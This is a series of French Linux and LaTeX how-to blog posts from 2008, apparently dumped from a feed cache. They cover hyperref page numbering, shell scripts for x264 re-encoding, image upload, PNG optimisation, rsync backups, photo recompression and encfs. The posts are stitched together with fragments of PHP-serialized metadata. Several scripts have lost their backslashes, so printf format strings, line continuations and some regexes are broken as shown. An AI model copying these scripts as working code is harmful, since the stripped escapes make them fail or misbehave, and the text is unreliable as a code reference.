Lorsque l’on veut utiliser LaTeX pour générer un document pdf, le package hyperref peut s’avérer bien pratique, car il permet de rendre les liens du document cliquables. Il modifie également la gestion de la numérotation des pages, ce qui peut poser problème.

Tout d’abord, prenons un exemple sans utiliser le package hyperref.

\documentclass[a4paper]{report}

\usepackage[francais]{babel}
\usepackage[utf8]{inputenc}

\title{Exemple}
\author{®om}

\begin{document}

\maketitle

\begin{abstract}
Un résumé
\end{abstract}

\tableofcontents

\chapter{Un chapitre}
Le premier chapitre.

\end{document}

C’est un document de 4 pages, qui compile sans problème. Lorsque l’on ouvre le pdf ainsi généré avec evince (le lecteur pdf par défaut de Gnome), les pages sont numérotées de 1 à 4 dans la partie réservée aux vignettes :

latex1

La page de titre et la page du résumé n’étant pas numérotées sur le document, les numéros imprimées sur les pages ne sont pas les mêmes :

Cela peut poser des problèmes de compréhension lors du visionnage d’un pdf par l’utilisateur : pour trouver la page 14 (où le numéro 14 est imprimé), il doit donc chercher la page 16 dans la liste des vignettes.

De plus, sur le document généré, les références ne sont pas cliquables (par exemple, il est impossible de cliquer sur une ligne du sommaire pour être aussitôt redirigé vers la page correspondante).

Utilisons alors le package hyperref, en rajoutant :

\usepackage{hyperref}

Maintenant, les liens sont cliquables :

latex-tableofcontents

Le problème de décalage de numéros est également résolu :

latex2

Cependant, il y a maintenant plusieurs pages numérotées 1, ce qui, en plus d’être assez perturbant et disgrâcieux, provoque un warning à la compilation :

destination with the same identifier (name{page.1}) hasbeen already used,
duplicate ignored

Pour éviter ce problème, une astuce consiste à utiliser une numérotation différente pour la page de titre et pour la vraie numérotation, par exemple une numérotation par lettres (de toute façon elles ne seront pas affichées). Pour cela, on peut utiliser \pagenumbering{alph} et \pagenumbering{arabic} (les options disponibles sont présentées ici.

\documentclass[a4paper]{report}

\usepackage[francais]{babel}
\usepackage[utf8]{inputenc}
\usepackage{hyperref}

\title{Exemple}
\author{®om}

\begin{document}

\pagenumbering{alph}
\maketitle

\begin{abstract}
Un résumé
\end{abstract}

\tableofcontents

\pagenumbering{arabic}
\chapter{Un chapitre}
Le premier chapitre.

\end{document}

Maintenant, le warning a disparu, et nous avons bien le résultat attendu :

latex3

Au passage, les liens par défaut ne sont pas très design (un rectangle rouge autour des liens). Il est possible de passer des paramètres à hyperref pour changer ce comportement :

\usepackage[colorlinks,linkcolor=blue]{hyperref}

Le paramètre colorlinks indique de colorer directement le texte d’un lien, plutôt que de l’encadrer, et linkcolor permet de changer la couleur.

Le résultat :

latex-tableofcontents2

Merci à la section 4.4.2 de ce document :)

";s:7:"dateiso";s:15:"20080914_111100";}s:15:"20080912_101100";a:7:{s:5:"title";s:79:"screex264 : réencodez vos captures d'écran vidéos (screencasts) sous Ubuntu";s:4:"link";s:100:"http://blog.rom1v.com/2008/09/screex264-reencodez-vos-captures-decran-videos-screencasts-sous-ubuntu";s:4:"guid";s:100:"http://blog.rom1v.com/2008/09/screex264-reencodez-vos-captures-decran-videos-screencasts-sous-ubuntu";s:7:"pubDate";s:25:"2008-09-12T10:11:00+02:00";s:11:"description";s:0:"";s:7:"content";s:12858:"

Vous connaissez sans doute l’outil gtk-recordmydesktop, qui permet de faire une capture vidéo (un screencast) de votre écran.

Pour obtenir une bonne qualité, dans les options vidéos, il faut vérifier que “compression nulle” est bien sur l’option “Activé” (malheureusement, la compression à la volée utilisée provoque quand même une légère perte de qualité).

Mais une telle vidéo prend un peu de place. Je vous propose donc de la réencoder, dans le format x264 (issu du projet VideoLAN, ayant donné naissance à VLC), multiplexé dans le conteneur MKV.

Le fichier ainsi généré sera lisible par exemple avec VLC.

Disons-le tout de suite, le x264 est actuellement LE meilleur codec de compression vidéo, proposant un rapport qualité/taille impressionnant. Le mkv permet, par exemple, de contenir une piste vidéo, plusieurs pistes audio dans différentes langues, des sous-titres, des chapitres, des pièces jointes… Ici, ce qui nous intéresse, c’est qu’il est libre, et qu’à contenu égal, il prend moins de place que les autres conteneurs (l’overhead est quasi-nul).

Voici comment utiliser le script.

Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps :

screex264 mavideo.ogg mavideo.mkv 400

Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps avec une meilleure qualité (plus lent) :

screex264 mavideo.ogg mavideo.mkv 400 -hq

Pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps avec une qualité maximale (très lent) :

screex264 mavideo.ogg mavideo.mkv 400 -vhq

Il est également possible d’utiliser n’importe quels paramètres de mencoder. Ainsi, pour encoder la vidéo mavideo.ogg en mavideo.mkv, avec un débit de 400Kbps, à partir de la 10e seconde et pour une durée de 20 secondes :

screex264 mavideo.ogg mavideo.mkv 400 -ss 10 -endpos 20

Ce script peut également permettre à réencoder les petites vidéos enregistrées grâce à un appareil photo, et diviser leur taille d’un facteur 15.

Passons donc aux choses sérieuses. Tout d’abord, ce script nécessite x264, mencoder et mkvtoolnix pour fonctionner.

#!/bin/sh
# screex264 : screencast encoding script
#
# 11th september 2008 - Romain Vimont (®om)
#
# v0.2 (26th june 2009)
#
# Converts input video (ignoring audio) to x264 video, muxed in mkv.
#
# Syntax:
#   screex264 input_file output_mkv bitrate [quality_preset]
#     [mencoder_options [...]]
#
# quality_preset must be one of :
#   -std : (default) standard quality (good quality, normal)
#   -hq  : high quality (very good quality, slow)
#   -vhq : very high quality (best quality, very slow)
#
# mencoder_options are appended to command line of mencoder call.
# For example :
#   -ss 10 -endpos 56 : trim the video from 10s to 66s.
#
# (of course, there are no options -std, -hq nor -vhq)
#

# Syntax error detected.
# Exits the program with return code 1.
syntax_error() {
   printf '%s%sn' "Syntaxe : $0 input_file output_mkv bitrate " 
     '[quality_preset] [mencoder_options [...]]' >&2
   exit 1
}

# Indicates whether the argument represents an integer.
# Returns the integer if the argument represents an integer, an empty string if
#   it doesn't.
#
# $1: value to test
is_integer() {
   local value="$1"
   printf %s "$1" | grep -o '^[[:digit:]]+$'
}

# Gets a unique id, based on the clock (seconds + nanoseconds).
# Returns a unique id.
uid() {
   date +'%s%N'
}

# Returns the command line arguments for the selected preset.
#
# $1: preset
# return: command line arguments
x264_preset() {
   local preset="$1"
   case "$preset" in
   '-std')
       printf '%s%s%s' "bitrate=$bitrate:frameref=8:mixed_refs:" 
         "bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:" 
         "me=hex:subq=5:trellis=2:threads=auto" ;;
   '-hq')
       printf '%s%s%s' "bitrate=$bitrate:frameref=16:mixed_refs:" 
         "bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:" 
         "me=umh:subq=6:trellis=2:threads=auto" ;;
   '-vhq')
       printf '%s%s%s' "bitrate=$bitrate:frameref=16:mixed_refs:" 
         "bframes=3:b_adapt:b_pyramid:weight_b:partitions=all:8x8dct:" 
         "me=esa:subq=7:trellis=2:threads=auto" ;;
   *)
       printf '%s%sn' 'Quality preset must be one of {-std,-hq,-vhq} : ' 
         "$preset" >&2
       exit 4
   esac
}

# error when less than 3 arguments
[ $# -ge 3 ] || syntax_error

# reads the arguments
in=$1; shift
out=$1; shift
bitrate=$1; shift

# input file must exist
if [ ! -f "$in" ]
then
   printf '%sn' "Input file doesn't exist : $in" >&2
   exit 2
fi

# bitrate value must be integer
if [ ! $(is_integer "$bitrate") ]
then
   printf '%sn' "Bitrate value must be integer : $bitrate" >&2
   exit 3
fi

# choose the quality preset
quality='-std'
if [ "$1" = '-std' -o "$1" = '-hq' -o "$1" = '-vhq' ]
then
   quality="$1"
   shift
fi

# gets the x264 options
opts=$(x264_preset $quality)

# gets a unique filename, in order to avoid collisions when encoding two video
# at the same time
uid=$(uid)
tmp_x264=$(printf '%s' "/tmp/$uid.avi")
tmp_log=$(printf '%s' "/tmp/$uid.log")

# encodes the first pass
mencoder "$in" -o /dev/null -passlogfile $tmp_log -ovc x264 -x264encopts 
 "$opts:pass=1" -nosound $@ &&

# encodes the second pass
mencoder "$in" -o $tmp_x264 -passlogfile $tmp_log -ovc x264 -x264encopts 
 "$opts:pass=2" -nosound $@ &&

# muxes the result in a mkv
mkvmerge -o "$out" -d 0 -A -S "$tmp_x264" --track-order 0:0

Vous pouvez maintenant faire chauffer le processeur !

";s:7:"dateiso";s:15:"20080912_101100";}s:15:"20080830_110200";a:7:{s:5:"title";s:36:"Optimiser la taille des fichiers png";s:4:"link";s:66:"http://blog.rom1v.com/2008/08/optimiser-la-taille-des-fichiers-png";s:4:"guid";s:66:"http://blog.rom1v.com/2008/08/optimiser-la-taille-des-fichiers-png";s:7:"pubDate";s:25:"2008-08-30T11:02:00+02:00";s:11:"description";s:0:"";s:7:"content";s:2259:"

L’outil optipng permet d’optimiser les fichiers png : les compresser davantage sans aucune perte de qualité.

Pour l’utiliser, c’est très simple :

optipng image.png

Très pratique pour les captures d’écran que l’on veut poster sur Internet.

Voici un exemple de résultat :

$ optipng screenshot.png
OptiPNG 0.5.5: Advanced PNG optimizer.
Copyright (C) 2001-2007 Cosmin Truta.

** Processing: screenshot.png
1196x688 8-bit RGB-alpha non-interlaced
The image is losslessly reduced to 8-bit RGB
Input IDAT size = 117762 bytes
Input file size = 118005 bytes
Trying...
  zc = 9  zm = 8  zs = 0  f = 0  IDAT size = 81686
  zc = 9  zm = 8  zs = 1  f = 0  IDAT too big
  zc = 1  zm = 8  zs = 2  f = 0  IDAT too big
  zc = 9  zm = 8  zs = 3  f = 0  IDAT too big
  zc = 9  zm = 8  zs = 0  f = 5  IDAT too big
  zc = 9  zm = 8  zs = 1  f = 5  IDAT too big
  zc = 1  zm = 8  zs = 2  f = 5  IDAT too big
  zc = 9  zm = 8  zs = 3  f = 5  IDAT too big

Selecting parameters:
  zc = 9  zm = 8  zs = 0  f = 0  IDAT size = 81686

Output IDAT size = 81686 bytes (36076 bytes decrease)
Output file size = 81761 bytes (36244 bytes = 30.71% decrease)

Un peu plus de 30% de gain, ça n’est pas négligeable.

Et pour en faire un script nautilus, mettez ce script dans ~/.gnome2/nautilus-scripts/optipng que vous rendez exécutable :

#!/bin/sh
# Optimizes PNG files.
#
# 30th august 2008 - Romain Vimont (®om)
#

# Use only n as field separator
IFS='
'

# Calls optipng with all args
optipng $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS

Combiné avec imagup, c’est très pratique pour poster des captures d’écran sur un forum.

";s:7:"dateiso";s:15:"20080830_110200";}s:15:"20080829_142700";a:7:{s:5:"title";s:39:"imagup : uploader une image en 2 clics";s:4:"link";s:66:"http://blog.rom1v.com/2008/08/imagup-uploader-une-image-en-2-clics";s:4:"guid";s:66:"http://blog.rom1v.com/2008/08/imagup-uploader-une-image-en-2-clics";s:7:"pubDate";s:25:"2008-08-29T14:27:00+02:00";s:11:"description";s:0:"";s:7:"content";s:14644:"

J’ai écrit un petit script pour uploader en ligne de commande une image sur imagup, et récupérer le lien (pratique pour poster sur les forums).

Voici comment l’utiliser :

imagup monimage.jpg

Les extensions jpg, jpeg, png et gif sont autorisées.

Voici un exemple de résultat :

$ imagup rom-avatar.png
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                               Dload  Upload   Total   Spent    Left  Speed
100 28706    0 14129  100 14577   3638   3754  0:00:03  0:00:03 --:--:--  5059
rom-avatar.png : http://uploads.imagup.com/05/1220023287_rom-avatar.png

Il est possible d’uploader plusieurs images en une seule ligne :

imagup image1.png image2.jpg

Avec l’option -open, une fois l’image uploadée, elle est ouverte dans le navigateur par défaut.

(curl doit être installé.)

Voici le script :

#!/bin/sh
# IMAGUP script
#
# 29th august 2008 - Romain Vimont (®om)
#
# Uploads images to www.imagup.com, and returns the http:// link.
#
# Syntax:
#   imagup [-open] fichier1 [fichier2 [...]]
#
# If -open is specified, the link is opened in the default associated program
# (the default browser).
#

# Syntax error detected
# Exits the program with return code 1.
syntax_error() {
    printf '%sn' "Syntaxe : $0 [-open] fichier1 [fichier2 [...]]" >&2
    exit 1
}

# Bad extension detected. Prints messages on stderr.
#
# $1: bad extension
bad_extension() {
    local extension="$1"
    printf '%sn' "Extension not supported: $extension" >&2
    printf '%sn' "Must be one of {png, jpg, jpeg, gif}." >&2
}

# Returns the canonical name of the file, from its (full) path.
#
# $1: (full) path of the file
# return: canonical name of the file
#
# example: get_filename 'a/b.c/d.e.f.jpg' returns 'd.e.f.jpg'
get_filename() {
    local path="$1"
    printf %s "$path" | grep -o '[^/]+$'
}

# Returns the radical of a filename (its name without the extension), from its
# (full) path.
#
# $1: (full) path of the file
# return: radical of the file
#
# example: get_radical 'a/b.c/d.e.f.jpg' returns 'd.e.f'
get_radical() {
    local path="$1"
    local filename="$(get_filename "$path")"
    printf %s "$filename" | sed 's/.[^.]*$//'
}

# Returns the extension of a file, from its (full) path.
#
# $1: (full) path of the file
# return: extension of the file
#
# example: get_extension 'a/b.c/d.e.f.jpg' returns 'jpg'
get_extension() {
    local path="$1"
    local filename="$(get_filename "$path")"
    printf %s "$filename" | grep -o '[^.]+$'
}

# Converts a String to lower case.
#
# $1: input text
# return: lower cased text
#
# example: to_lower_case 'AbCdE' returns 'abcde'
to_lower_case() {
    local text="$1"
    printf %s "$text" | tr -s [A-Z] [a-z]
}

# error when no arguments
[ $# -ge 1 ] || syntax_error

if [ "$1" = '-open' ]
then
    # -open is enabled
    open=true
    shift
    # should remain other arguments
    [ $# -ge 1 ] || syntax_error
fi

# for each argument (a file to upload)
for path
do
    extension=$(get_extension "$path")
    ext=$(to_lower_case "$extension")
    # extention must be one of {png, jpg, jpeg, gif}
    if [ "$ext" = png -o "$ext" = jpg -o "$ext" = jpeg -o "$ext" = gif ]
    then
        filename=$(get_filename "$path")
        radical=$(get_radical "$path")
        # uploads and gets the url back
        url=$(curl www.imagup.com -F 
          "fichier=@$path;filename=$radical.$ext;type=image/$ext" |
        grep image-upload |
        grep -o "http://[[:alpha:]]+.imagup.com/[^"]+.(png|jpg|jpeg|gif)")
        if [ "$url" ]
        then
            # if it worked, prints the url
            printf '%sn' "$path : $url"
            # if -open is selected, open-it in the default application
            [ $open ] && xdg-open "$url"
        else
            # it didn't work
            printf '%sn' "Problem while uploading $path" >&2
        fi
    else
        # file extension is bad
        bad_extension "$extension"
    fi
done

Une fois installé, vous pouvez également l’utiliser comme script nautilus. Mettez le script suivant dans ~/.gnome2/nautilus-script/imagup-wrapper et rendez-le exécutable :

#!/bin/sh
# nautilus IMAGUP script wrapper
#
# 29th august 2008 - Romain Vimont (®om)
#
# Needs "imagup" core script to be installed.
#

# Use only \n as field separator
IFS='
'

# Calls imagup with all args
imagup -open $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS

Ensuite, dans nautilus, il est possible d’envoyer l’image en cliquant sur Script → imagup-wrapper. Les images ainsi envoyées s’ouvriront dans le navigateur par défaut.

Cependant, en écrivant ce script, je me suis aperçu de trois problèmes dans nautilus : un problème de proxy, un problème de vue liste et un problème avec le lancement de scripts à partir du bureau.

Les deux derniers problèmes sont contournés avec le script imagup-wrapper (le dernier script).

Si, au lieu d’appeler une fois imagup avec tous les arguments, on voulait l’appeler n fois avec un seul argument (utile lorsque le programme appelé ne boucle pas sur les arguments), on aurait pu utiliser :

printf %s "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" |
while read -r arg
do
    imagup -open "$arg"
done

ou encore :

IFS='
'
for arg in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS
do
    imagup -open "$arg"
done

J’en ai profité pour écrire une section les pièges à éviter sur la doc ubuntu-fr de nautilus-scripts.

";s:7:"dateiso";s:15:"20080829_142700";}s:15:"20080828_210700";a:7:{s:5:"title";s:46:"rsync : ayez une vraie politique de backup !";s:4:"link";s:70:"http://blog.rom1v.com/2008/08/rsync-ayez-une-vraie-politique-de-backup";s:4:"guid";s:70:"http://blog.rom1v.com/2008/08/rsync-ayez-une-vraie-politique-de-backup";s:7:"pubDate";s:25:"2008-08-28T21:07:00+02:00";s:11:"description";s:0:"";s:7:"content";s:3594:"

Ça vous est déjà arrivé de perdre un disque dur ?

Eh bien moi non, pas encore (trop chanceux!). Et pour éviter que ça se produise, j’ai mis en place une petite politique de backup, très simple.

Alors évidemment, j’avais déjà fait des “backups” : quand un répertoire est important, je le copie autre part. Et quand il est modifié, je supprime l’ancien backup et je le recopie de nouveau (ou j’écrase l’ancien par le nouveau). Mais par exemple pour le répertoire de photos ou autre, quand ça prend plus de 5Gio, c’est beaucoup trop long.

Voici donc comment faire un backup “incrémental” : seuls les fichiers modifiés, ajoutés ou supprimés seront modifiés côté “backup”. Et en plus, ça marche aussi à distance (on peut backuper un répertoire dans un autre sur la même machine, mais également sur une machine différente, par ssh).

Voici par exemple le script que j’utilise pour faire un backup de mon portable dans un répertoire de mon fixe :

#!/bin/sh
cmd='rsync -rpltv --del'

backup_dir='rom-desktop:/media/gnu/backup/rom-laptop'
$cmd \
/home/rom/work \
/home/rom/java \
/home/rom/docs \
/home/rom/.thunderbird \
/home/rom/.mozilla \
/home/rom/sh \
$backup_dir

(.mozilla et .thunderbird, c’est la configuration de firefox et thunderbird, ainsi que tous les favoris, mails, comptes…)

Et du fixe vers le fixe (d’un disque dur vers un autre) :

#!/bin/sh
cmd='rsync -rpltv --del'

backup_dir='/media/gnu/backup/rom-desktop'
$cmd \
/media/tux/photos \
$backup_dir

Plus d’infos sur les paramètres de rsync :

$cmd c’est la commande rsync avec ses paramètres.

$backup_dir c’est la destination :

Ensuite, vous pouvez lancer le script de temps en temps, manuellement (ce que je fais) ou programmé (la nuit ?).

";s:7:"dateiso";s:15:"20080828_210700";}s:15:"20080827_184500";a:7:{s:5:"title";s:58:"Recompresser ses photos en masse de manière incrémentale";s:4:"link";s:86:"http://blog.rom1v.com/2008/08/recompresser-ses-photos-en-masse-de-maniere-incrementale";s:4:"guid";s:86:"http://blog.rom1v.com/2008/08/recompresser-ses-photos-en-masse-de-maniere-incrementale";s:7:"pubDate";s:25:"2008-08-27T18:45:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4649:"

Mon appareil photo possède 3 réglages de “qualité” (niveau de compression JPEG) :

Mais lorsque l’on choisit un réglage, les photos font à peu près toutes la même taille, qu’elles soient simples ou complexes. Par exemple, en réglage fin, leur taille est quasiment toujours comprise entre 2,8Mio et 2,9Mio.

Or, une photo uniforme devrait prendre beaucoup moins de place qu’une photo très complexe, avec beaucoup de contours.

D’ailleurs, on s’en rend compte lorsqu’on recompresse ces photos sur un ordinateur :

photos-tree

Sur cette capture d’écran, les photos contenues à la racine (les 5 dernières) sont les photos originales, prises par l’appareil photo.

Les photos contenues dans les répertoires convertXX sont les photos converties avec :

convert image.jpg -quality XX convertXX/image.jpg

(imagemagick doit être installé)

On se rend compte que les photos ont une taille beaucoup plus variable, ce qui est une bonne chose. Sur l’ensemble de mes albums, j’ai des photos à 500Kio et d’autres à 1,8Mio : c’est la qualité finale de la photo qui est prise en compte, et non la taille à atteindre.

J’ai donc décidé de prendre les photos en qualité maximale sur l’appareil photo, et de les recompresser à l’importation.

J’utilise digiKam pour gérer mes photos, qui possède une fonctionnalité pour recompresser les photos (utilisant exacement le même algorithme que imagemagick).

Le problème, c’est que je veux éviter, par inattention, de recompresser plusieurs fois les mêmes photos (perte de qualité inutile). Par exemple, lorsqu’on importe les photos d’une carte mémoire, qu’on les recompresse, puis qu’on importe les photos d’une seconde carte mémoire, difficile de différencier les photos déjà recompressées des autres (pour les photos se trouvant dans le même dossier).

J’ai donc écrit un petit script, qui garde dans un fichier la liste des photos déjà recompressées, et qui compresse toutes celles qui ne sont pas présentes dans le fichier.

Ainsi, après une importation de photos, j’exécute le script, seules les nouvelles seront recompressés.

#!/bin/sh
#
# Mogrifie tous les fichiers jpeg non encore mogrifiés (recompressés en jpeg)
#

# le fichier "mogrified" doit exister, si ce n'est pas le cas, faire
# touch mogrified" avant de lancer le script
if [ ! -f mogrified ]
then
    echo 'mogrified file not found.'
    exit 1
fi

# liste tous les fichiers .jpg dans les répertoires décrivant une année
# (2005, 2006...)
find -iname '*.jpg' | grep ^./20 | sort > filelist &&

# supprime de cette liste tous les fichiers déjà mogrifiés
comm -23 filelist mogrified |
while read photo
do
    # mogrifie ces fichiers
    echo "$photo"
    mogrify -quality 90 "$photo"
done

# les fichiers mogrifiés sont maintenant les fichiers de la liste complète
mv filelist mogrified

L’outil mogrify fait la même chose que convert, sauf qu’il modifie le fichier sur place (et écrase donc la source).

Cela permet d’avoir un très bon rapport qualité/taille, sans provoquer des pertes visibles sur les photos très complexes, ni utiliser de l’espace inutilement sur les photos simples.

";s:7:"dateiso";s:15:"20080827_184500";}s:15:"20080827_175700";a:7:{s:5:"title";s:46:"encfs : répertoire chiffré par mot de passe";s:4:"link";s:71:"http://blog.rom1v.com/2008/08/encfs-repertoire-chiffre-par-mot-de-passe";s:4:"guid";s:71:"http://blog.rom1v.com/2008/08/encfs-repertoire-chiffre-par-mot-de-passe";s:7:"pubDate";s:25:"2008-08-27T17:57:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4918:"

Ce billet présente comment avoir un (ou plusieurs) répertoire(s) chiffré(s).

Tout d’abord, il faut installer encfs.

Si l’on souhaite que le répertoire chiffré soit ~/.encrypted et que celui déchiffré soit ~/decrypted :

encfs ~/.encrypted ~/decrypted

Voici ce que ça donne :

$ encfs ~/.encrypted ~/decrypted
Le répertoire "/home/rom/.encrypted/" n'existe pas. Faut-il le créer ? (y/n) y
Le répertoire "/home/rom/decrypted" n'existe pas. Faut-il le créer ? (y/n) y
Création du nouveau volume encrypté.
Veuillez choisir l'une des options suivantes :
entrez "x" pour le mode de configuration expert,
entrez "p" pour le mode paranoïaque préconfiguré,
toute autre entrée ou une ligne vide sélectionnera le mode normal.
?> p

Configuration paranoïaque sélectionnée.

Configuration terminée. Le système de fichier à créer a les propriétés
suivantes :
Chiffrement de système de fichiers "ssl/aes", version 2:1:1
Encodage de fichier "nameio/block", version 3:0:1
Taille de clé : 256 bits
Taille de bloc : 512 octets, y compris 8 octets d'en-tête MAC.
Chaque fichier contient un en-tête de 8 octets avec des données IV uniques.
Noms de fichier encodés à l'aide du mode de chaînage IV.
Les données IV du fichier sont chaînées à celles du nom de fichier

-------------------------- AVERTISSEMENT --------------------------
The external initialization-vector chaining option has been
enabled.  This option disables the use of hard links on the
filesystem. Without hard links, some programs may not work.
The programs 'mutt' and 'procmail' are known to fail.  For
more information, please see the encfs mailing list.
If you would like to choose another configuration setting,
please press CTRL-C now to abort and start over.

Vous devez entrer un mot de passe pour votre système de fichiers.
Vous devez vous en souvenir, car il n'existe aucun mécanisme de récupération.
Toutefois, le mot de passe peut être changé plus tard à l'aide d'encfsctl.

Nouveau mot de passe :
Vérifier le mot de passe :

On rentre le mot de passe de chiffrement.

Ensuite, pour monter (même commande que pour créer) :

encfs ~/.encrypted ~/decrypted

Tout ce qui sera écrit dans ~/decrypted sera écrit en chiffré dans ~/.encrypted.

$ echo bonjour > decrypted/unfichier
$ ls -l decrypted
total 4
-rw-r--r-- 1 rom rom 11 2008-08-22 13:58 unfichier
$ ls -l .encrypted/
total 4
-rw-r--r-- 1 rom rom 27 2008-08-22 13:58 InNjH,-h8EnvvfC28k5oUji1

Pour démonter :

fusermount -u ~/decrypted

Après le démontage, les données chiffrées ne sont plus accessibles en clair :)

Et pour éviter d’avoir à taper des commandes, voici un petit script qui permet de demander le mot de passe, de monter le répertoire décrypté, et d’ouvrir une fenêtre permettant, lorsqu’on la ferme, de démonter le répertoire :

#!/bin/sh

encrypted_folder=/home/rom/.encrypted
decrypted_folder=/home/rom/decrypted

gksudo -p -m "Mot de passe de déchiffrement" |
encfs -S "$encrypted_folder" "$decrypted_folder" &&
zenity --info --title='encfs' 
  --text='Cliquez sur valider pour démonter le dossier déchiffré' &&
fusermount -u "$decrypted_folder"

zenity doit être installé.

Il suffit alors de mettre un lanceur sur le bureau/dans la barre pour monter facilement le répertoire chiffré.

Il y a également d’autres outils plus complets (avec icône dans le systray…).

Plus d’infos sur la doc d’ubuntu-fr.

La prochaine version d’ubuntu (Ubuntu 8.10 Intrepid Ibex, prévue le 30 octobre 2008) devrait proposer dès l’installation l’utilisation d’un répertoire chiffré.

EDIT (astuce) : Pour utiliser rsync avec un répertoire chiffré, utilisez l’option -c.

";s:7:"dateiso";s:15:"20080827_175700";}s:15:"20080827_170300";a:7:{s:5:"title";s:20:"Présentation de SSH";s:4:"link";s:49:"http://blog.rom1v.com/2008/08/presentation-de-ssh";s:4:"guid";s:49:"http://blog.rom1v.com/2008/08/presentation-de-ssh";s:7:"pubDate";s:25:"2008-08-27T17:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:448:"

Voici une présentation de SSH que j’ai faite à l’Ubuntu-Party de juin 2008 :

ssh-plan

slides | document | sources

";s:7:"dateiso";s:15:"20080827_170300";}s:15:"20080827_110300";a:7:{s:5:"title";s:60:"Screenshots sous Ubuntu : plusieurs méthodes à connaître";s:4:"link";s:84:"http://blog.rom1v.com/2008/08/screenshots-sous-ubuntu-plusieurs-methodes-a-connaitre";s:4:"guid";s:84:"http://blog.rom1v.com/2008/08/screenshots-sous-ubuntu-plusieurs-methodes-a-connaitre";s:7:"pubDate";s:25:"2008-08-27T11:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:5400:"

Méthode #1

La méthode la plus simple consiste à appuyer sur ImprÉcran.

Cela ouvre une fenêtre dans lequelle on peut choisir la destination :

imprecran-bureau

En appuyant sur Alt+ImprÉcran, il est possible de capturer uniquement la fenêtre active :

imprecran-fenetre

Cette méthode est simple, mais elle ne permet pas de faire une sélection arbitraire ni de définir un délai (ce qui empêche donc de faire une capture lorsque le cube est en rotation, ou lorsqu’un menu contextuel est ouvert).

Méthode #2

Cette méthode est en fait la même que la #1, car c’est le même programme qui est lancé (gnome-screenshot), sauf qu’au lieu d’être lancé par ImprÉcran, il est lancé manuellement :

capture-menu

L’avantage, c’est que plus d’options sont disponibles, notamment le délai :

capture-details

L’option « inclure la bordure de la fenêtre » ne fonctionne que si on n’utilise pas de gestionnaire de bureau composite (compiz).

Méthode #3

Gimp propose également la capture d’écran : Fichier → Acquisition → Capture d’écran.

gimp-details

Cette fenêtre offre toutes les options intéressantes. La capture effectuée s’ouvre ensuite dans Gimp, il suffit de sauver le fichier. Cette méthode est pratique lorsqu’on veut retourcher la capture (flouter certaines zones…), ou capturer une région de l’écran avec délai (on attend d’abord le délai, puis on sélectionne, ça permet de rendre active la fenêtre qu’on veut pour le screenshot par exemple). Par contre un inconvénient peut être que Gimp pourrait apparaître à l’écran (dans la barre des tâches), selon la zone capturée.

Méthode #4

C’est la méthode la plus rapide. Elle nécessite compiz et l’activation du plug-in screenshots (dans Extras).

Une fois activé, il suffit de faire toucheWindows+clicGauche pour dessiner un rectangle translucide sur l’écran, et cette zone sera capturée.

L’image sera sauvée dans le répertoire prédéfini, par défaut dans ~/Desktop.

Attention, ce répertoire peut ne pas exister, si par exemple votre bureau se trouve dans ~/Bureau. Pensez donc à changer le répertoire utilisé pour les screenshots.

compiz-screenshot

Voilà, je trouve que c’est utile de connaître toutes ces méthodes, ça permet de choisir celle adaptée selon le cas.

Voici un petit tableau récapitulatif :

   ╭───────┬─────────┬────────────┬───────┬─────────────┬─────────────╮
   │ plein │ fenêtre │ sélection  │ délai │    choix    │   1 ou 2    │
   │ écran │ active  │ arbitraire │       │ destination │ actions max │
╭──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#1│   ✔   │    ✔    │     ✘      │   ✘   │      ✔      │      ✔      │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#2│   ✔   │    ✔    │     ✘      │   ✔   │      ✔      │      ✘      │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#3│   ✔   │    ✔    │     ✔      │   ✔   │      ✔      │      ✘      │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#4│   ✘   │    ✘    │     ✔      │   ✘   │      ✘      │      ✔      │
╰──┴───────┴─────────┴────────────┴───────┴─────────────┴─────────────╯

Vous pouvez maintenant optimiser les images png et les uploader sur un hébergeur pour les poster sur un forum.

";s:7:"dateiso";s:15:"20080827_110300";}s:15:"20080827_083000";a:7:{s:5:"title";s:50:"Le format de compression 7zip : impressionnant !";s:4:"link";s:74:"http://blog.rom1v.com/2008/08/le-format-de-compression-7zip-impressionnant";s:4:"guid";s:74:"http://blog.rom1v.com/2008/08/le-format-de-compression-7zip-impressionnant";s:7:"pubDate";s:25:"2008-08-27T08:30:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1769:"

J’en avais déjà entendu parler, je l’ai déjà utilisé juste comme ça, mais vraiment il mérite d’être connu ce format 7z.

J’ai voulu compresser un dossier de 1.1Go (différents types de fichiers), je l’ai testé en .tar.gz, .tar.bz2 et en .7z :

La compression .tar.gz est la plus rapide, .7z est plus lent, mais la différence de ratio est impressionnante.

Un journal datant de septembre 2006 en parle.

Il suffit d’installer le paquet p7zip(pour le .7z) ou p7zip-full (pour gérer d’autres formats en plus, comme rar, etc.).

N’en installez qu’un des deux, sinon vous aurez 2 fois l’entrée .7z dans le gestionnaire d’archives.

Pour compresser :

7zr a archive.7z fichier1 fichier2 …

Pour décompresser :

7zr e archive.7z

Si c’est le paquet p7zip-full au lieu de p7zip, c’est 7z au lieu de 7zr.

Une fois installé, le format est géré dans le gestionnaire d’archives.

Espérons que ce paquet soit installé par défaut dans Ubuntu 8.10 (car sinon ce n’est pas facile de poster des .7z, il faut dire aux gens d’installer un logiciel en plus).

J’ai fait une demande sur launchpad en ce sens.

